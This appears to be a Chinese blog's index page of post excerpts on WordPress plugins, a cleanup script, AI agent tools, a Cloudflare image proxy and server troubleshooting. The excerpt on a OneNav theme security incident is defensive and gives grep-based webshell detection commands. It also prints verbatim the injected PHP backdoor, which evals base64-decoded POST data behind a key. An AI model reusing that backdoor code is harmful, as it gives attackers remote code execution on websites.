-
WordPress闲置账号管理插件
站点运行几年之后,用户列表里会积下一批注册之后就不再来的账号。它们占着用户名和邮箱,哪些还有人在用、哪些可以清掉,单看名单说不清。闲置账号管家是一个 WordPress 插件,做的是闲置账号的生命周期管理,从识别闲置、通知账号本人,到管理员复核后决定去留。 判定规则 插件默认把连续 12 个月没有登录、也没有站点认可的使用活动的账号,列入待删除复核列表。判定看两个口径。一是登录,账号最后一次登录到现在是否满 12 个月。二是站点认可的使用活动,站点认定的使用行为同样计入活跃。两个口径都没有记录,账号才算闲置。 时间基线 闲置时长从基线日期起算。新注册账号的基线是注册时间,注册当天开始计时。既有账号在插件安装时缺少历史数据,基线取首次观测的时间,也就是插件第一次看到这个账号的日子。老账号不会因为查不到两年前的登录记录就被算成闲置。 复核流程 进入待删除复核列表不等于删除。账号离物理删除还隔着三道关。 第一道是通知。插件会通知账号本人,说明账号已进入待删除复核列表。 第二道是异议和恢复。收到通知的用户可以提出异议,或者直接恢复账号,账号回到正常状态。 第三道是管理员复核。管理员看过名单和申诉情况后做最终判断,删除动作由管理员人工确认后执行。任何一步都可以把账号留下。 默认安全设置 首版有三个默认设置,都站在保守一边。 默认关闭。插件安装启用后不做事,扫描、通知、删除都不启动,要管理员显式打开。 模拟运行。开启后插件先按模拟模式跑,照常扫描和判定,但不执行删除这类实际动作。管理员先看名单准不准,再决定要不要动真格。 人工确认删除。删除永远由管理员逐个确认,插件不自动删号。 多站点边界 首版只支持 WordPress 单站点。检测到多站点网络时,插件强制保持停用或模拟状态,扫描、活动记录、邮件与重试、验证、用户名单、导出、删除、隐私元数据擦除这些功能全部关闭。网络用户范围的数据不会读取,也不会展示。 安装与启用 将整个 WP-Inactive-Account-Manager 目录上传至 wp-content/plugins/。 在 WordPress 后台启用闲置账号管家。 环境要求 PHP 8.0 以上、WordPress 6.8 以上。启用后插件默认处于关闭状态,功能由管理员按需开启。... -
WordPress 自助注销插件
之前用的 Delete Me 但是这款插件已经很久没更新了,后台的设置也比较呆板,借此开发了轻(请)注销。 一、这个插件解决什么 「轻注销」是一款面向中文 WordPress 站长的用户自助注销插件。它在 WordPress 基础账号删除能力之外,提供更清晰的中文流程、更美观的前台页面,以及更易配置的后台设置,帮助站点以合规、可审计的方式处理用户注销请求。 二、本次发布包含的能力 核心功能 标准 WordPress 插件入口文件 light-account-closure.php 中文后台一级菜单与分标签设置页 前台短代码 [light_account_closure],可插入任意前台页面 三步式注销流程:风险告知 → 身份确认 → 最终提交 → 完成页 账号处理逻辑、文章/评论处理策略、管理员邮件通知 4 套基础前台视觉模板(minimal / dark / business / warm) 在个人资料页增加「前往注销页」的入口提示 后台设置(Codestar 分组) 快速开始、功能开关、入口权限、流程文案、模板风格、删除策略、通知跳转、安全与日志等完整分组,并包含说明区块、危险提示与字段依赖联动。 前端流程与文案 重构前端短代码页面布局:步骤条、账号摘要、影响清单、FAQ、右侧操作卡(参考高风险操作产品页面样式) 适合 WordPress 的即时处理合规流程 后台可自定义:品牌名称、步骤名称、状态页文案、流程页标题说明、按钮文案、完成页文案及 4 组 FAQ 动态标签占位符:用户 ID、邮箱、昵称、文章/评论数量、自动跳转秒数、侧边栏阻塞数量等 前台错误提示后台化:未登录、权限不足、密码错误、限速、删除失败等提示语均可自定义 插件不对外使用。... -
一为 OneNav 主题6.01版本存在重大安全隐患
官方那个插件不够给力,建议按照以下方式检测。 # uploads 及整站下所有可疑 php find /站点路径/uploads -name "*.php" # 最近30天内被改动的 php find /站点路径 -name "*.php" -mtime -30 # 常见一句话特征 grep -rl --include="*.php" -E "eval\(|assert\(|base64_decode\(|gzinflate|str_rot13" /站点路径 重点看 .htaccess、wp-config.php、主题/插件目录里多出来的文件、文件名伪装成图片的(如 xxx.php.jpg 配合解析漏洞)。 查访问日志:搜 funtin_com.php 和 postpass 的 POST 请求,确认攻击者是否已使用过它、从哪个 IP 来的、还访问过什么。 入口封堵:uploads 下能写 php,常见原因是某个插件/主题有文件上传漏洞,或 FTP/后台密码泄漏。更新 WP 核心+全部插件主题到最新,改 WP 后台密码、数据库密码、FTP/SSH 密码。 项目详情位置/www/wwwroot/路径/wp-config.php 第 2 行后门类型一句话 Webshell(eval + base64_decode)后门代码if(isset($_POST["io_kk"],$_POST["io_xx"])&&$_POST["io_kk"]==="zmtbd2026x"){@eval(base64_decode($_POST["io_xx"]));exit;}调用方式POST 请求,参数 io_kk=,io_xx 传入 base64 编码的 PHP 代码注入时间2026-09-29 前后注入路径通过 /wp-content/uploads/avatars/ 目录下的临时 PHP 文件(1790669989_io_x.php)注入... -
Python 脚本清理 WorkBuddy 空文件夹:定时任务自动删除空目录
背景 在使用 WorkBuddy 一段时间后,我发现工作目录下堆积了大量空文件夹。这些空目录可能是项目删除后残留的,也可能是某些工具自动生成后未清理的。手动一个个删除太麻烦,于是写了一个 Python 脚本来批量清理。 脚本功能 这个脚本有以下特点: 代码实现 """清理当前用户 WorkBuddy 目录下的空文件夹(含级联后的空父目录)。 规则: - 只删除「整棵子树不含任何文件」的目录,目录内只要有文件就一律不动。 - 跳过路径中含 .git / node_modules / app.asar.unpacked 的目录。 - 不加 --apply 只扫描出报告,不删除。 - 删除结果追加写入日志文件。 用法: python clean-empty-dirs.py # 只扫描 python clean-empty-dirs.py --apply # 扫描并删除 """ import os import sys from datetime import datetime USER_HOME = os.path.expanduser("~") ROOT = os.path.join(USER_HOME, "WorkBuddy") LOG_FILE = os.path.join(USER_HOME, ".workbuddy", "logs", "clean-empty-dirs.log") SKIP_SEGMENTS = {".git", "node_modules", "app.asar.unpacked"} def skipped(path): """检查路径是否包含需要跳过的目录段""" return bool(SKIP_SEGMENTS & set(path.split(os.sep))) def log(line): """输出到控制台并追加写入日志文件""" print(line) try: os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True) with open(LOG_FILE, "a", encoding="utf-8") as f: f.write(line + "\n") except OSError: pass def main(): """主函数:扫描空目录并根据参数决定是否删除""" apply = "--apply" in sys.argv # 第一轮:直接为空的目录 empty = [] total_dirs = 0 for cwd, dirs, files in os.walk(ROOT): total_dirs += len(dirs) for d in dirs: full = os.path.join(cwd, d) if skipped(full): continue try: if not os.listdir(full): empty.append(full) except OSError as e: log(f"[跳过] {full} -> {e}") empty_set = set(empty) # 迭代:子目录被删后父目录也可能变空(父目录本身仍不含任何文件) changed = True while changed: changed = False for cwd, dirs, files in os.walk(ROOT): if files or cwd == ROOT or skipped(cwd): continue try: remaining = [n for n in os.listdir(cwd) if os.path.join(cwd, n) not in empty_set] except OSError: continue if not remaining and cwd not in empty_set: empty_set.add(cwd) changed = True stamp =…... -
两个月换了五个智能体工具,最后我只留下一个
如果你还在用 QCLAW,记得走官网的迁移入口,数据备份导出到 2027 年 3 月 24 日 00:00 截止。 昨天看到 QClaw 发的停止运营公告,2026 年 12 月 24 日 00:00 正式停服。官网顶部有"迁移到 WorkBuddy"的入口,地址是 https://qclaw.qq.com/migration ,完成有效数据迁移给 1000 积分,有效期 1 个月,之前有没有注册过 workbuddy 都能拿,目前只有个人版 workbuddy 账号支持授权迁移。我前几天是自己手动迁完的,按这个规则,1000 积分的奖励仍然可以到账。 过去两个月我把 openclaw、hermes agent、QCLAW、Marvis 里的专家流程全迁到了 workbuddy,然后把前四个都卸掉了,C 盘的占用少了 20G。 这四个我每个都用了很长时间,也都在里面搭过自己的东西。QCLAW 和 Marvis 各有让我受不了的地方,但最后让我下决心的不是这些,是我不想每次干活开好几个软件,想把工作收进一个地方,原因就这么一个。 具体烦在哪儿呢,开工之前得先想一遍这个活该开哪个软件,那个流程我当初到底放在哪儿了,答案还常常记不清。东西一分散,人就得自己当索引。 中间的顺序我记得不完全准,大致是 openclaw 最早,接着是 QCLAW 内测,中间插进来 hermes agent,Marvis和QCLAW差不多的时期,中间一直用过几次,最早用Marvis来连接一些网站,直接跑批量发布的任务。 最早装的是 openclaw openclaw 是 Peter Steinberger 写的开源个人 AI 助手,从一个周末项目开始做起来的,现在 GitHub 上是几十万 star 的量级。它在本地运行,拿 WhatsApp、Telegram、Discord 这类聊天软件当入口,配了 Browser、Exec、Web 这些工具,Cron 和 Webhooks 用来做定时和触发,上面有 skills、工作区和记忆。 我最早用的就是它,用了挺久。喜欢它的一点是 skills 就是一堆 md,丢进去,写清楚什么时候用、怎么用就行,没有 SDK 也没有插件审核那一套。 我在里面跑的主要是开发之外的那些活儿,写东西、整理素材、拆选题之类。 这里得说清楚,我不是专门写 skills 的人。每个工具里我确实花过时间,有时候自己写一点,有时候拿开源的改一改再封装成顺手的版本,但这不是我的主要工作。我更像是个用工具干活的人,顺手改改。 环境上我没遇到什么麻烦,Node 22 我本地本来就有。 QCLAW 内测那阵 QCLAW 是腾讯电脑管家团队基于 openclaw 做的本地 AI 助手,外面叫"小龙虾 AI"。2026 年 3 月中文版上线,免部署,微信扫码就能连上,内置国产大模型,有 skills 市场和持续记忆。我参加了内测,把 openclaw 里一部分工作迁了过去。后来 V2 加了多 Agent 协同和应用连接器,我又跟着动了一轮。 免部署这点确实省事,出门在外也能使唤它。 但用久了有两个问题很难忽略,一个是它经常不读记忆和笔记,我辛辛苦苦写进去的东西它当没看见,记忆和笔记跟摆设一样。再一个是对话产生的临时文件特别多,它从来不整理也不整合,一个专家对应的路径下面能堆到上千个文件。看着就烦,也没法维护。 它也不是没有让我觉得值的地方,一开始它就能接上携程、美团这类应用,做旅游攻略规划,出来的东西相当专业。那阵这种活我是真交给它的。 hermes agent 说它会自己长 skills hermes agent 是 Nous Research 做的开源自主 agent,主打 self-improving,也就是 agent 自己从使用经验里生成 skills。它还做跨会话记忆,接了 15 个以上的消息平台,支持 MCP 和 cron。 我当时主要是被 self-improving 那句吸引的。 想着以后是不是就不用自己动手写 skills 了。 实际用下来,它长出来的东西不太对我的路子。 它能总结出一些通用的规律,但不知道我那份材料要交给谁、那个号是写给谁看的。 可以参考,直接拿来跑不行。 Marvis 是记忆型的,这个有点麻烦 Marvis 是腾讯应用宝团队做的操作系统级 AI 助手,名字致敬 Jarvis。2026 年 4 月内测,5 月全量开放,Windows、Mac、安卓都有。它出厂就预置了多 Agent 协同,有个"虚拟办公室",能看着一群小家伙在那儿搬砖。本地知识库会索引文档和图片,能做本地搜索,能改系统设置,有端侧模型的隐私模式,还能在电脑上操控手机 App,每天有免费 token。 它是这几个里最不像命令行工具的,装上去就在那儿,随手使唤不心疼。 Marvis 和 openclaw 那类还不太一样,它是记忆型的。麻烦也出在这:它经常重复犯错误。新开一个对话框,同样的任务,它每次都犯同样的错。我告诉它哪里错了,下次还是那个错。明明是靠记忆干活的东西,偏偏记不住教训,同一个坑反复踩。不太稳定,我得一直盯着。 搬到 workbuddy 最后我把这四个里的专家流程都迁到了 workbuddy。 workbuddy 是腾讯的通用 AI 智能体工作台。 Skills 可以自己加,专家中心里有一百多个领域的专家,专家团能让几个 Agent 一起协作,连接器接了腾讯文档、邮箱这些,图片、视频、3D 的生成是内置的,另外有分层记忆和定时自动化。 迁的时候没有太高深的技术活,麻烦的是先理一遍:四个工具里各有各的写法,得决定哪些流程还在用、留哪一份,再重建成 workbuddy 里的专家流程。 它对我最有用的地方,是这些东西都在同一个软件里。流程改一次就行,不用再去四个地方各改一遍。 前面四个的长处,大部分在 workbuddy 里也能复现,连着应用做攻略这种也包括在内。所以我没觉得是换了个更差的,只是同一件事现在在一个地方就能干完。 迁完之后前四个都卸了,C 盘腾出来 20G。 现在日常要跑的活儿基本都在里面:写东西,找资料,生图,还有给 suno 写音乐提示词。 最后这件听着像音乐,其实还是文字活儿,要先搜资料、分析一部分音频文件,再落成一段提示词。 需要几个角色一起上的时候开专家团。 开发这块还是得用专门的工具 现在的日常配置是这样:workbuddy 打底,它在送积分,再加上我在小米 MiMo 和 MiniMax 买的 token plan,我需要用到的场景基本都覆盖了。 MiMo 的 token plan 分 ¥39、¥99、¥329、¥659…... -
Image Proxy Worker 服务
这是一个运行在 Cloudflare Workers 上的图片代理服务,对外继续保持 ?url= 的调用方式。 本项目当前支持两种工作模式: 原样代理:仅做远程抓取、响应头整理和边缘缓存 Images 处理:在请求参数中带上尺寸、格式或水印参数时,交给 Cloudflare Images 完成转换、覆盖和编码 使用方式 原样代理 https://your-worker.workers.dev/?url=https://example.com/image.jpg 指定宽度并转 WebP https://your-worker.workers.dev/?url=https://example.com/image.jpg&width=640&format=webp 指定宽高并转 AVIF https://your-worker.workers.dev/?url=https://example.com/image.jpg&width=1280&height=720&format=avif&quality=80 添加水印 https://your-worker.workers.dev/?url=https://example.com/image.jpg&width=1200&watermark=1&wm_key=logo&wm_width=96&wm_height=96&wm_bottom=24&wm_right=24&wm_opacity=0.7&format=webp 当前限制 不限制输出尺寸 默认拒绝超过 20 MB 的原图 仅允许输出格式:avif、webp、jpeg/jpg、png index.js 代码: /** * Cloudflare Workers 图片代理服务 * 保持与 PHP 版本相同的 `?url=` API,并按需接入 Cloudflare Images。 */ const DEFAULT_CONFIG = { userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36', allowedDomains: [], cacheMaxAge: 86400, routing: { rootRedirectUrl: 'https://www.google.com/' }, security: { requireSignature: false, signatureMaxAgeSeconds: 300, maxSourceImageBytes: 20 * 1024 * 1024, allowedOutputFormats: ['image/avif', 'image/webp', 'image/jpeg', 'image/png'], blockedSourceDomains: ['baidu.com', 'baidu.cn', 'baidu.net', 'baidu.tv'], requestSource: { allowedOriginHosts: [], allowedRefererHosts: [], allowRequestsWithoutSource: true }, rateLimit: { enabled: true, maxRequests: 60, windowSeconds: 60, blockSeconds: 300 } }, images: { defaultQuality: 85, defaultWatermarkEnabled: false, defaultWatermarkKey: 'logo', defaultWatermarkWidth: 64, defaultWatermarkHeight: 64, defaultWatermarkBottom: 24, defaultWatermarkRight: 24, defaultWatermarkOpacity: 0.75 } }; const TRANSFORM_QUERY_KEYS = [ 'width', 'height', 'rotate', 'blur', 'fit', 'gravity', 'format', 'quality', 'watermark', 'wm_key', 'wm_width', 'wm_height', 'wm_bottom', 'wm_right', 'wm_opacity' ]; export default { /** * 处理图片代理请求,并在带有变换参数时接入 Cloudflare Images。 * @param {Request} request - 请求对象 * @param {Object} env - 运行时绑定 * @param {ExecutionContext} ctx - Worker 执行上下文 * @returns {Promise<Response>} 图片响应 */ async fetch(request, env, ctx) { if (request.method === 'OPTIONS') { return this.createOptionsResponse(); } if (!['GET', 'HEAD'].includes(request.method))…... -
魔改了一下B2的商店页面
以前的商铺首页有点丑,而且适合他们做商城的人使用,像我这种写博客的完全用不到。 我只是单纯的来放一些我个人推荐的商品或正在使用的设备推荐。 改完之后,非常舒服,是我想要的。... -
Umami Docker 故障排查实录:从 PostgreSQL pg_control: Permission denied 到平滑迁移到 Named Volume
这次 Umami 故障,表面上看是应用无法启动,实际上根因在 PostgreSQL 数据目录权限异常。日志中最关键的报错是 pg_control: Permission denied,说明数据库虽然识别到了旧数据目录,但已经无法正常读取核心控制文件。 这篇文章记录了我从故障出现、恢复旧数据、排查误区,到最终迁移到更稳妥的 Docker named volume 方案的完整过程。结论很直接:如果 PostgreSQL 数据目录长期使用宿主机 bind mount,在异常关机、目录权限变化、面板操作等场景下,确实更容易出现类似问题。 一、故障现象 最开始看到的 PostgreSQL 日志如下: postgres: could not find the database systemExpected to find it in the directory "/var/lib/postgresql/data",but could not open file "/var/lib/postgresql/data/global/pg_control": Permission deniedPostgreSQL Database directory appears to contain a database; Skipping initialization 同时,Umami 容器中还有这样的报错: Invalid `prisma.$queryRaw()` invocation:Raw query failed. Message: `Can't reach database server at db` 从这两类日志结合来看,可以得出一个比较清晰的判断: Umami 并不是第一故障点 PostgreSQL 先启动失败 Umami 随后因为连接不上数据库而报错 也就是说,这本质上是一次数据库层问题,而不是 Umami 应用本身的问题。 二、问题根因分析 我原本的 PostgreSQL 挂载方式是这样的: volumes: - ./postgres-data:/var/lib/postgresql/data 这属于典型的 Docker bind mount,也就是把宿主机目录直接映射进容器。 这种方式的优点是直观,目录可见、便于备份和手工操作;但缺点也很明显: PostgreSQL 对目录权限和属主要求严格 宿主机目录一旦被修改权限、改属主,或者受到面板、脚本、异常关机影响 容器就可能无法读取 pg_control 一旦 pg_control 不可读,数据库会直接拒绝启动 这次的核心问题,本质上就是: PostgreSQL 数据目录仍然存在,但容器进程已经没有权限正常读取关键数据库文件。 三、第一步修复:先把旧库救活 遇到这类问题时,最重要的不是立刻删卷重建,而是先确认旧数据是否还在。 从后续日志里可以看到类似信息: database system was interrupted database system was not properly shut down; automatic recovery in progress database system is ready to accept connections 这说明: 数据库之前经历过异常中断 但数据本身未必已经损坏 只要目录权限恢复正常,PostgreSQL 有机会自动恢复 所以我第一步做的不是迁移,而是先修复旧数据目录权限,把原有数据库拉起来。 修复思路大致是: 停掉容器 对旧数据目录重新执行 chown 和 chmod 重新启动数据库 观察 PostgreSQL 是否自动完成恢复 这一步成功后,旧数据恢复正常,Umami 页面数据也重新出现。这说明问题主要在目录权限,而不是数据库内容损坏。 四、为什么不应该止步于“先能跑起来” 虽然旧库恢复成功了,但这并不代表风险已经解除。 如果继续沿用 bind mount,把数据库文件直接放在宿主机目录里,那么类似问题后面仍然可能再次出现,尤其是在这些场景下: VPS 异常断电 面板或脚本误改目录权限 手动操作数据目录 宿主机挂载状态变化 文件系统异常 所以我后面的目标就变成了: 在确认旧数据完整的前提下,把 PostgreSQL 从 bind mount 平滑迁移到 Docker named volume。 五、迁移过程中踩到的两个坑 1. 认证失败:password authentication failed 迁移初期我遇到了数据库认证报错,原因后来确认是: 修改了 POSTGRES_PASSWORD 但数据库卷并不是全新初始化的 PostgreSQL 不会自动把已有用户密码改成新的环境变量值 需要特别注意的是: POSTGRES_PASSWORD 只在数据库首次初始化时生效。 如果卷里已经有旧数据,后面再改这个环境变量,并不会自动修改数据库里已有用户的密码。 因此迁移时最稳妥的做法是: 不改数据库用户名 不改数据库密码 只改存储方式 这样可以显著降低迁移过程中的变量数量。 2. 路径错位:容器启动了,但数据“消失”了 另一个坑来自 PGDATA。 一开始我尝试引入这样的配置: PGDATA: /var/lib/postgresql/data/pgdata 但旧数据库实际上是按默认路径初始化的,数据文件原本就在: /var/lib/postgresql/data 结果就出现了一个典型问题: 旧数据还在原目录 PostgreSQL 却在 pgdata/ 子目录里重新初始化了一套新库 容器可以正常启动 但应用里看到的是一个全新的空数据库 这个问题非常隐蔽,因为从表面看服务是正常的,但实际已经连到了新库。…... -
为什么我把DIFY删了?
过去两年,我在 Dify 上搭建了十几条工作流,从即时翻译到 WordPress 的 SEO 提效工具——TDK 自动生成、内容润色、多语言批量翻译——全都跑在 Dify 上,博查搜索、SerpAPI、各家大模型的 API 我一层层串起来,调参、调试、上线。 今天下午我把 WordPress TDK 插件重新写了一遍,把 Dify 的依赖一刀砍掉,整个流程搬到了阿里百炼。跑了几轮测试,Token 消耗低到可以忽略不计,效果跟之前完全一样,甚至响应更快。 Dify 没做错什么,问题是它的存在本身,在这套新范式里已经变得多余。 Dify 到底臃肿在哪 自己部署过 Dify 的人都明白我在说什么,一套生产环境跑起来,至少六个组件:PostgreSQL、Redis、向量数据库(Weaviate 或 Milvus)、API Server、Worker、前端。官方给的 Docker Compose 一键启动看着优雅,实际跑起来的坑只有踩过才知道:数据库备份策略、日志轮转没配好三天撑爆磁盘、内存泄漏、版本升级后 schema 迁移报错——Dify 的迭代节奏又快,每个月都出新版,每升一次级都是一次心跳加速。 资源开销也是一笔烂账,一台 2C4G 的轻量服务器根本拉不动全套,4C8G 是勉强起步。如果你还挂了个 RAG 知识库做向量检索,8C16G 都不一定稳。问题是——我一天才调用 API 几十次,大部分时间它在空转。 最要命的是抽象过度,Dify 在你和大模型之间塞了一层编排引擎。当你真的只需要「接收一段文本 → 调大模型处理 → 返回结果」这条链路时,这层编排就变成了纯负担。你不需要一个工作流引擎来包装一个 API 调用。你不需要一个知识库引擎来存储三个 prompt 模板。你不需要一个对话管理系统来管理一个单次请求。 Dify 诞生于 Agent 生态还没成熟的年代,那时候用拖拽式工作流来弥补编排能力缺失是合理的。但现在不是那时候了。 新范式:百炼 + MCP + OpenClaw 过去半年整个 AI 基础设施层的变化,比之前两年加起来都大。核心就三点: 第一,大厂的应用平台已经够用了。 阿里百炼的智能体应用,直接在控制台配置 prompt、知识库、MCP 服务,发布之后就是一个标准 API endpoint。不做 RAG、不调复杂工作流的前提下,百炼的应用层已经覆盖了我绝大部分需求。关键是计费模式——只按 Token 收费,没有固定月费。不用的时候成本为零。 第二,MCP 协议让工具调用彻底解耦。 以前在 Dify 里接入一个搜索服务,要去插件市场找有没有现成的、没有就自己写 HTTP 节点、配 URL、处理返回格式。现在百炼的 MCP 广场直接挂了一堆现成服务——联网搜索 MCP 每月前 2000 次免费,超出后按次计费;高德地图、天气查询、网页解析、代码解释器,全都是即开即用。MiniMax 的 Token Plan 也有自己的 MCP Server,网络搜索、图片理解、图片生成全部打包,一个 API Key 搞定。你自己部署的 MCP Server 也可以注册进百炼,完全兼容 SSE 协议。 第三,Agent 框架已经成熟了。 OpenClaw 这类工具的出现,意味着你不需要一个 Web 端的编排界面来管理 Agent。它的配置方案、技能系统、持久记忆、心跳机制,都是在你的本地机器上跑的,开源的,可控的。你在本地写好配置文件,Agent 自己就能调度工具、执行任务。不需要再把逻辑交给一个远端的工作流引擎。 这三个变化拼在一起,Dify 的护城河就没了。编排能力?Agent 框架已经更灵活。工具生态?MCP 协议覆盖面更广,接入更简单。可观测性?百炼控制台有完整的调用日志和 Token 统计。部署维护?不需要了——你用的是别人的平台和协议。 一个真实的迁移案例:WordPress TDK 插件 说说我今天的这次迁移。我的博客和一些客户站点用的 SEO TDK 插件,逻辑是这样的: 用户打开文章编辑页,点「生成 TDK」 插件把文章标题、正文摘要发给后端 后端调博查搜索 API 获取相关关键词和竞品信息 结合搜索结果和文章本身,调大模型生成 title、description、keywords 返回结果,填入 Yoast SEO 或 Rank Math 的对应字段 之前在 Dify 上的实现:建一条工作流,四个节点——HTTP 请求节点接博查搜索 → LLM 节点做关键词提取 → 第二个 LLM 节点生成 TDK → 代码节点做格式清洗。每次调整 prompt 或切换模型,要进 Dify 后台改工作流、测试、发布。博查的 API Key 存在 Dify 的环境变量里。工作流出过一次 bug,一个节点改参数后下游格式对不上,我对着 Dify 的执行日志排查了一下午。 今天在百炼上的新实现: 在百炼控制台创建一个应用,prompt 写清楚 TDK 生成规则 去 MCP 广场开通 MiniMax 的 MCP Server,配置 Token Plan 的 API Key 把 MiniMax 搜索 MCP 挂到应用里 发布应用,拿到 API endpoint 我的 WordPress 插件后端从调 Dify API 变成调百炼 API。代码改动不到 20 行,主要是换了 URL…... -
Codex Windows系统Powershell乱码解决方案
一、遇到的问题 今天终于把 Codex 在 Windows 下的中文乱码问题彻底解决了,记录一下整个过程。 先说现象:Codex 在 Windows 下执行命令时,所有中文输出全是乱码——方块字、问号、稀奇古怪的符号,完全无法阅读。比如让它列个带中文文件名的目录,返回的东西根本没法看;让它输出一段中文提示信息,终端里显示的是一坨天书。 一开始以为是 Codex 本身的 bug,折腾了很久才发现问题出在 Windows 的终端编码体系上。 二、乱码根因分析 2.1 核心矛盾 问题不在 Codex,而在 Windows 终端默认的编码机制与 Codex 使用的编码不一致: Codex(基于 Node.js) 默认使用 UTF-8 编码输出。 Windows 默认终端(CMD / PowerShell 5.1) 使用的是 历史代码页(中文系统常见 936 / GBK)。 这个差异导致了一条"烂链路": Codex(UTF-8)→ Windows Console(GBK / 936)→ VS Code 终端 → 中文乱码 两边编码不一致,UTF-8 的多字节中文字符被按 GBK 单字节/双字节方式解析,结果自然是一团乱码。 2.2 为什么 Linux / macOS 没这个问题? Linux 和 macOS 全链路默认 UTF-8: locale = UTF-8终端 = UTF-8Shell = UTF-8CLI = UTF-8 无需任何额外配置,全链路天然一致。而 Windows 的 CLI 层一直背负着历史包袱——GUI 层用 Unicode,终端层用历史代码页,两者割裂至今。 2.3 CMD / PowerShell 5.1 / PowerShell 7 的真实差异 工具定位编码cmd.exeDOS 时代遗产,兼容层强依赖代码页(默认 GBK)PowerShell 5.1系统管理遗产,基于 .NET Framework继承旧控制台编码PowerShell 7(pwsh)现代开发者终端,基于 .NET(跨平台)可控 UTF-8 结论很清晰:需要切换到 PowerShell 7(pwsh),并显式声明 UTF-8 编码。 三、解决方案 Step 1:下载并安装 MSI 版 PowerShell 7 重要:不要用 Microsoft Store 版(Appx),Codex 沙箱环境中 Store 版可能触发权限问题(CreateProcessAsUserW failed: 5)。必须使用 MSI 安装版。 下载链接(x64): https://github.com/PowerShell/PowerShell/releases/download/v7.6.2/PowerShell-7.6.2-win-x64.msi 双击运行,一路默认安装即可。安装时会自动将 C:\Program Files\PowerShell\7 加入 PATH。 验证安装: pwsh --version 预期输出类似: PowerShell 7.6.2 Step 2:卸载 Store / Appx 版 PowerShell 如果之前安装过 Store 版 PowerShell 7,需要卸载掉,避免路径冲突。 先关闭所有占用 PowerShell 进程的软件(Codex、VS Code、IDEA 等),然后执行: # 确认是否存在 Store 版Get-AppxPackage Microsoft.PowerShell 如果有输出,说明存在 Store 版,执行卸载: Get-AppxPackage Microsoft.PowerShell | Remove-AppxPackage 再次确认已卸载: Get-AppxPackage Microsoft.PowerShell 预期输出: 无任何输出(表示已卸载干净)。 Step 3:调整 PATH 顺序 确保 MSI 版 pwsh 的路径在 PATH 中排在 WindowsApps 前面。打开系统环境变量,在用户 PATH 中确认以下顺序: C:\Program Files\PowerShell\7 ← MSI 版(排前面)C:\Users\<用户名>\AppData\Local\Microsoft\WindowsApps ← WindowsApps(排后面) 这样执行 pwsh 时会优先使用 MSI 版。 验证解析顺序:…...










